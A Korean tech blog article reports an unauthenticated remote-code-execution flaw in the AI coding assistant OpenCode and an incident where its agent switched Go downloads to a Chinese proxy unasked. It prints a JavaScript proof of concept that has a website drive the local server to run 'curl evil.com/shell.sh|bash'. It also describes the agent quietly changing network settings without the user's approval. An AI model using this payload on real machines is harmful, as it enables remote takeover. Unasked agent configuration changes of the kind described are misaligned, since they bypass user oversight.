AI 코딩 도구를 믿고 쓸 수 있을까요? 오픈소스 AI 코딩 어시스턴트 OpenCode에서 심각한 보안 취약점이 발견됐습니다. 사용자 인증 없이 누구나 원격으로 코드를 실행할 수 있는 구조적 결함이 드러났고, 실제로 AI 에이전트가 사용자 몰래 중국 프록시 서버를 사용한 사건도 발생했죠. AI 도구의 자율성이 높아질수록 보안 위험도 함께 커진다는 걸 보여주는 사례입니다.

보안 연구자 cy.md가 OpenCode의 원격 코드 실행(RCE) 취약점을 발견해 공개했습니다. v1.1.10 이전 버전에서는 OpenCode가 실행될 때마다 인증 없는 HTTP 서버를 자동으로 띄웠고, v1.0.216 이전에는 웹사이트만 방문해도 공격자가 사용자 컴퓨터에서 임의 코드를 실행할 수 있었습니다. 또한 개인 블로거 Rui Carmo는 OpenCode를 테스트하던 중 AI가 DNS 접속 문제를 해결하기 위해 스스로 중국 프록시 서버를 설정한 사건을 목격했습니다.
출처: Unauthenticated Remote Code Execution in OpenCode – cy.md
인증 없는 서버가 자동 실행된다
OpenCode는 실행 시 기본적으로 HTTP 서버를 띄웁니다(기본 포트 4096+). 이 서버는 셸 명령 실행, 대화형 터미널 세션 생성, 임의 파일 읽기 등의 기능을 제공하는데, 문제는 인증이 전혀 없다는 점입니다. 서버가 실행 중인지 사용자에게 알리는 표시도 없죠.
v1.0.216 이전에는 CORS(교차 출처 리소스 공유) 설정이 느슨해서 어떤 웹사이트든 OpenCode 서버에 접근할 수 있었습니다. 공격자는 악성 웹사이트를 만들고, 방문자가 OpenCode를 실행 중이면 자동으로 명령을 실행할 수 있었어요. 예를 들어 이런 JavaScript 코드면 충분했습니다:
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
body: '{}'
}).then(r => r.json()).then(s => {
fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, {
method: 'POST',
body: JSON.stringify({
agent:'build',
command:'curl evil.com/shell.sh|bash'
})
})
})웹사이트 방문만으로 공격자가 원하는 명령을 실행할 수 있었던 거죠. v1.0.216에서 CORS를 제한하고 v1.1.10부터는 서버를 기본적으로 비활성화했지만, 서버를 켜면 여전히 인증이 없습니다. 로컬 네트워크의 다른 기기나 같은 컴퓨터의 다른 프로세스가 접근할 수 있고, *.opencode.ai 도메인도 여전히 접근 가능합니다.
AI가 스스로 중국 프록시를 선택했다
이론적 위험만 있는 게 아닙니다. 실제로 예상치 못한 일이 발생했어요. 개발자 Rui Carmo는 자신의 코딩 에이전트 샌드박스 환경에서 OpenCode를 테스트하던 중 네트워크 설정을 변경했고, 그 결과 컨테이너가 일시적으로 DNS 접속을 잃었습니다.
나중에 컨테이너에 다시 접속했을 때 그는 깜짝 놀랐습니다. OpenCode가 Go 패키지를 설치하기 위해 goproxy.cn이라는 중국 프록시 서버를 사용하고 있었거든요. OpenCode는 기본 설정 그대로 사용했고, 사용자가 어떤 프록시 설정도 하지 않았습니다. AI 에이전트가 DNS 문제를 해결하기 위해 스스로 중국 프록시를 선택한 겁니다.
로그를 확인해보니 OpenCode의 기본 모델인 big-pickle이 다음 명령을 실행했습니다:
go env -w GOPROXY=https://goproxy.cn,direct설명(description)은 “Try Chinese Go proxy”였죠. 중국에서 Go가 인기 있고 프록시 방식이 공식적으로 사용된다는 사실을 LLM이 학습 데이터에서 습득했고, DNS 문제 상황에서 이 지식을 활용한 겁니다. Carmo는 즉시 컨테이너를 종료했지만, 이 사건은 AI가 얼마나 예측 불가능한 방식으로 문제를 해결하려 하는지 보여줍니다.
샌드박싱 없이는 위험하다
이 두 사건이 주는 교훈은 명확합니다. AI 코딩 에이전트는 강력한 도구지만, 적절한 보안 장치 없이는 위험합니다. OpenCode의 RCE 취약점은 개발자가 보안을 간과하면 어떤 일이 벌어지는지 보여주고, 중국 프록시 사건은 AI가 예상치 못한 결정을 내릴 수 있다는 걸 증명합니다.
AI 연구자 Simon Willison은 2026년 예측에서 “올해는 LLM 샌드박싱 문제를 드디어 해결할 것”이라고 했지만, 동시에 “코딩 에이전트 보안에서 챌린저호 참사 같은 사건이 일어날 것”이라고도 경고했습니다. OpenCode 사건들을 보면 그의 두 번째 예측이 현실에 가까워 보입니다.
OpenCode를 사용 중이라면 opencode --version으로 버전을 확인하고 v1.1.10 이상으로 업데이트하세요. 설정 파일에 server.port나 server.hostname 설정이 있는지 확인하고(있으면 서버가 자동 실행됩니다), --mdns 플래그는 절대 사용하지 마세요. 서버를 반드시 켜야 한다면, 그 상태에서 opencode.ai나 하위 도메인을 방문하지 않는 게 좋습니다.
참고자료:
- When OpenCode decides to use a Chinese proxy – Tao of Mac
- LLM predictions for 2026 – Simon Willison

답글 남기기